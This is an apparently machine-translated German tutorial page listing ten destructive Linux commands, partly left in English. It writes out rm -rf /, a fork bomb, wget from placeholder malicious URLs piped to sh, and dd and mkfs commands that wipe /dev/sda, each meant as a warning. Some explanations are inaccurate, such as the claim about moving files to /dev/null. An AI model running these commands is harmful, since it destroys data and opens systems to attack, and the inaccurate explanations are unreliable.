GNU/Linux >> LINUX-Kenntnisse >  >> Linux

10 tödliche Befehle, die Sie niemals unter Linux ausführen sollten

Das Linux-Betriebssystem bietet seinen Benutzern mehr Unabhängigkeit im Vergleich zu Windows oder anderen Betriebssystemen. Während das Linux-Betriebssystem einigen erfahrenen Entwicklern die Freiheit bietet, Operationen auszuführen, könnte es auch die Freiheit beeinträchtigen, die diesen Entwicklern geboten wird. Während jede Technologie ihre Vor- und Nachteile hat, gilt dies auch für Linux. Es ist von größter Bedeutung, dass der Benutzer vor der Ausführung über ein umfassendes Verständnis sicherer und tödlicher Befehle verfügt. Hier werden wir die tödlichen Befehle besprechen, die Sie niemals ausführen sollten, ohne vollständig zu verstehen, was sie bedeuten.

1. Rekursives Löschen

Eine der schnellsten Möglichkeiten, einen Ordner und seinen Inhalt zu löschen, ist der Befehl rm -rf. Es hat im Laufe der Jahre an Popularität gewonnen, da es den Fehler behoben hat, der in Windows auftritt, wenn Dateien oder Ordner gelöscht werden. Dieser Befehl löscht alles auf der Datei, dem Ordner oder der Festplatte, auf der er ausgeführt wird. Lassen Sie uns den Befehl aufschlüsseln und verstehen, wofür er wirklich steht:

rm – Entfernt alle Dateien an den angegebenen Orten

-rf – Dieser Befehl ist weiter in zwei Teile unterteilt:r und f. r steht für das rekursive Entfernen aller Dateien, während f für eine Kraft steht, was bedeutet, dass alle Dateien gelöscht werden, ohne den Benutzer zu fragen.

Es gibt eine Reihe von Variationen dieses Befehls, die über das Internet verfügbar sind. Es ist wichtig zu verstehen, dass man wissen sollte, was ein Befehl tut, wenn er in einem bestimmten Ordner ausgeführt wird, oder die Daten verloren gehen können. Durch diesen Befehl verlorene Daten können auf keine Weise wiederhergestellt werden.

  • rm – Dieser Befehl wird verwendet, um alle Dateien in dem von Ihnen angegebenen Pfad zu löschen
  • rm -r – Dieser Befehl wird verwendet, um Dateien rekursiv aus allen Verzeichnissen und Unterverzeichnissen im Linux-Betriebssystem zu löschen.
  • rm -f – Dieser Befehl wird verwendet, um Dateien im angegebenen Pfad zu löschen, ohne den Benutzer zu fragen. Dazu gehört auch das Löschen der „Read Only Files“.
  • rm -rf / – Dies ist einer der gefährlichsten Befehle, da sich das / auf das Stammverzeichnis des Betriebssystems bezieht. Sobald dieser Befehl ausgeführt wird, löscht er den gesamten Inhalt des Stammverzeichnisses zwangsweise und rekursiv. Dadurch werden alle Ihre Verzeichnisse und Unterverzeichnisse gelöscht und die Daten gehen verloren.
  • rm -rf * – Dieser Befehl löscht zwangsweise alle Daten im Arbeitsverzeichnis
  • rm -rf. –  Dieser Befehl löscht zwangsweise die Dateien im aktuellen Arbeitsverzeichnis sowie Unterverzeichnisse. Es entfernt auch alle Konfigurationsdateien im Verzeichnis.

2. Gabelbombe

Da Linux auf Bash läuft, ist es daher wichtig zu verstehen, was der Befehl mit Ihrem System machen wird, bevor Sie ihn ausführen. Dies ist eine einfache Bash-Funktion, die nach ihrer Ausführung Kopien von sich selbst erstellt, die wiederum einen weiteren Satz von Kopien von sich selbst erstellt. Dies verbraucht CPU-Zeit und Speicher. Daher läuft es rekursiv, bis das System einfriert.

:(){:|:&};:

3. Festplatte überschreiben

Wenn Sie den folgenden Befehl versehentlich oder versehentlich auf Ihrer Festplatte ausgeführt haben, ist eine Wiederherstellung ziemlich unmöglich.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Festplatte implodieren

Wie das Sprichwort „Es gibt mehr als einen Weg, eine Katze zu häuten“ gibt es mehr als einen Weg, Ihre Festplatte zu zerstören. In jedem Linux-System ist dev/null ein spezieller Ort, der als schwarzes Loch bezeichnet wird. Alles, was zu diesem Schwarzen Loch bewegt wird, wird zerstört. Wenn Sie Ihre Daten versehentlich in diesen Ordner verschoben haben, werden Ihre Daten sowieso nicht wiederhergestellt.

mv /home/root/*  dev/null

Der oben genannte Befehl verschiebt alle Daten im Home-/Root-Ordner in das schwarze Loch, was zu Datenverlust führt. Lassen Sie uns den Befehl aufschlüsseln, um zu verstehen, was jeder Abschnitt tut.

mv - This command is used for moving a folder to another location

/home/root/* – Dies ist der Speicherort des Ordners, der verschoben werden soll

dev/null – Ein besonderer Ort, der als Schwarzes Loch bezeichnet wird

Daher sollten Sie beim Ausführen des Befehls move vorsichtig sein. Stellen Sie sicher, dass der Speicherort, an den Sie Ihren Ordner verschieben, auf dem System vorhanden ist.

5. Schädliches Skript herunterladen

Wir alle kennen die Vorteile des „wget“-Befehls in Linux, aber wir wissen nicht, dass er bösartige Skripte und Viren sowie nützliche Software herunterladen kann. Wenn Sie zufällig einen der folgenden Befehle ausgeführt haben, werden Sie verstehen, worum es geht.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Die oben genannten Befehle laden den Inhalt von der bereitgestellten URL herunter und führen das heruntergeladene Skript aus.

6. Festplatte formatieren

Es gibt einen weiteren Befehl, um Ihre Festplatte zu löschen und neu zu machen. Diese sollten nur in Fällen verwendet werden, in denen Sie Ihre Daten entweder in der Cloud oder auf einem externen Gerät gesichert haben.

mkfs.ext3 /dev/sda

Das Ausführen dieses Befehls ist identisch mit dem Ausführen eines vollständigen Formats auf Laufwerk C in Windows, bei dem alle Dateien vom Laufwerk gelöscht werden und für eine neue Installation bereit sind. Um Ihnen das Verständnis zu erleichtern. Lassen Sie uns diesen Befehl aufschlüsseln.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Wenn dieser Befehl ausgeführt wird, formatiert er zusammen die angegebene Partition auf der Festplatte und formatiert sie gemäß dem angegebenen Dateisystem neu, das im oben genannten Befehl ext3 ist. Daher ist es sehr wichtig zu verstehen, was der Befehl tut, bevor er auf Ihrem System ausgeführt wird und alle Daten verliert.

7. Dateiinhalt löschen

Der Befehl zum Leeren von Dateiinhalten ist einfach und kann in jeder Instanz ausgeführt werden.

>file

Wenn Sie jemals einen Befehl des oben genannten Typs ausgeführt haben, haben Sie gesehen, dass der Inhalt der angegebenen Datei geleert worden sein muss. „>“ ist dafür verantwortlich, den Inhalt der Datei zu löschen, überprüfen Sie daher den Befehl, den Sie ausführen, noch einmal.

8. Vorherigen Befehl bearbeiten

Dieser Befehl ist ein Segen und ein Fluch. Während es einfacher ist, nicht alle vorherigen Befehle erneut einzugeben und auszuführen, kann es auch schädliche Inhalte in Ihren zuvor ausgeführten Befehl einfügen. Daher ist es notwendig, sich zu vergewissern, ob es für Sie geeignet ist, diesen Befehl zu verwenden.

^foo^bar

9. Random Junk auf Festplatte schreiben

Wenn Sie jemals auf den unten genannten Befehl gestoßen sind, dann herzlichen Glückwunsch, Sie haben vielleicht auch zufälligen Müll gesehen, der auf Ihre Festplatte geschrieben wurde, wenn Sie verrückt genug sind, diesen Befehl tatsächlich auszuführen. Die Nachwirkungen dieses Befehls sind, dass Ihr System nicht wiederhergestellt wird.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

Dieser Befehl wirkt sich nicht physisch auf Ihr System aus, wie alle anderen Befehle, wie in jedem Abschnitt beschrieben, aber dies stellt eine Sicherheitsverletzung im System dar. Durch Ausführen dieses Befehls geben Sie allen Benutzern des Systems die Möglichkeit, Daten auf Ihrem Dateisystem zu lesen, zu schreiben und auszuführen. Verwenden Sie diesen Befehl daher mit Bedacht.

Ich hoffe, dass diese detaillierten Informationen zu den tödlichen Befehlen verhindern, dass Sie Ihre Daten von Ihrem System verlieren. Teilen Sie uns im Kommentarbereich unten mit, ob Ihnen dies geholfen hat oder nicht.


Linux
  1. 10 Befehle, die jeder Linux-Benutzer kennen sollte

  2. 7 Linux-Netzwerkbefehle, die jeder Systemadministrator kennen sollte

  3. 3 Linux-Befehle zum Herunterfahren des Systems und Sie können es einfach tun

  4. A bis Z Linux-Befehle

  5. So bringen Sie Ihr System zum Absturz:Gefährliche Linux-Befehle

10 sehr dumme Linux-Befehle [einige davon tödlich]

3 Linux-Befehle, die Sie vergessen haben

So führen Sie mehrere Linux-Befehle gleichzeitig im Linux-Terminal aus

Mit dem Nohup-Befehl unter Linux können Sie Befehle auch nach dem Abmelden ausführen

20 Haupt-Linux-Befehle, die Sie täglich benötigen

Top 50+ Linux-Befehle, die Sie kennen MÜSSEN